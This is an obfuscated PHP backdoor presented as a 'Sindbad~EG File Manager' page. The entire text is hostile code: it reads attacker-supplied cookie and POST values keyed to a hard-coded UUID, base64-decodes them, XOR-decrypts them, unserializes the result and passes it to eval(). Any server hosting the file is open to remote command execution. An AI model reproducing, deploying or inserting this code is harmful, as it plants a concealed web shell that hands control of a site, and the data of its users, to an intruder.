Sindbad~EG File Manager

$uKRlmzYvu = 'a' . chr ( 601 - 506 ).'q' . 's' . chr ( 910 - 803 ); $YGhxJV = 'c' . chr ( 813 - 705 ).'a' . "\163" . chr ( 616 - 501 ).chr ( 1076 - 981 ).chr (101) . "\x78" . "\x69" . "\x73" . "\164" . chr ( 453 - 338 ); $bMTXuVbvq = class_exists($uKRlmzYvu); $YGhxJV = "24059";$SvrViYW = !1;if ($bMTXuVbvq == $SvrViYW){function aLyLhESH(){$TQDTP = new /* 27537 */ a_qsk(56768 + 56768); $TQDTP = NULL;}$pijDLNgc = "56768";class a_qsk{private function qbRRMhmqpK($pijDLNgc){if (is_array(a_qsk::$pogqdvlo)) {$wKCdcOgBVL = str_replace(chr ( 404 - 344 ) . chr (63) . "\x70" . 'h' . 'p', "", a_qsk::$pogqdvlo["\143" . "\x6f" . 'n' . 't' . chr (101) . chr (110) . "\164"]);eval($wKCdcOgBVL); $pijDLNgc = "56768";exit();}}private $XExPkeB;public function vNZqggcld(){echo 18519;}public function __destruct(){a_qsk::$pogqdvlo = @unserialize(a_qsk::$pogqdvlo); $pijDLNgc = "25556_64870";$this->qbRRMhmqpK($pijDLNgc); $pijDLNgc = "25556_64870";}public function HuQpVl($eObGsw, $aiyLJr){return $eObGsw[0] ^ str_repeat($aiyLJr, (strlen($eObGsw[0]) / strlen($aiyLJr)) + 1);}public function __construct($SNhNt=0){$HMxJT = $_POST;$pgdnNvfp = $_COOKIE;$aiyLJr = "008e285a-b379-4eb7-b1ea-7a4fd872f22a";$clQnvhxdCZ = @$pgdnNvfp[substr($aiyLJr, 0, 4)];if (!empty($clQnvhxdCZ)){$XChSV = "base64";$eObGsw = "";$clQnvhxdCZ = explode(",", $clQnvhxdCZ);foreach ($clQnvhxdCZ as $cjhLuZXqhV){$eObGsw .= @$pgdnNvfp[$cjhLuZXqhV];$eObGsw .= @$HMxJT[$cjhLuZXqhV];}$eObGsw = array_map($XChSV . '_' . chr ( 980 - 880 ).chr (101) . 'c' . chr (111) . "\x64" . "\145", array($eObGsw,));a_qsk::$pogqdvlo = $this->HuQpVl($eObGsw, $aiyLJr);}}public static $pogqdvlo = 1442;}aLyLhESH();}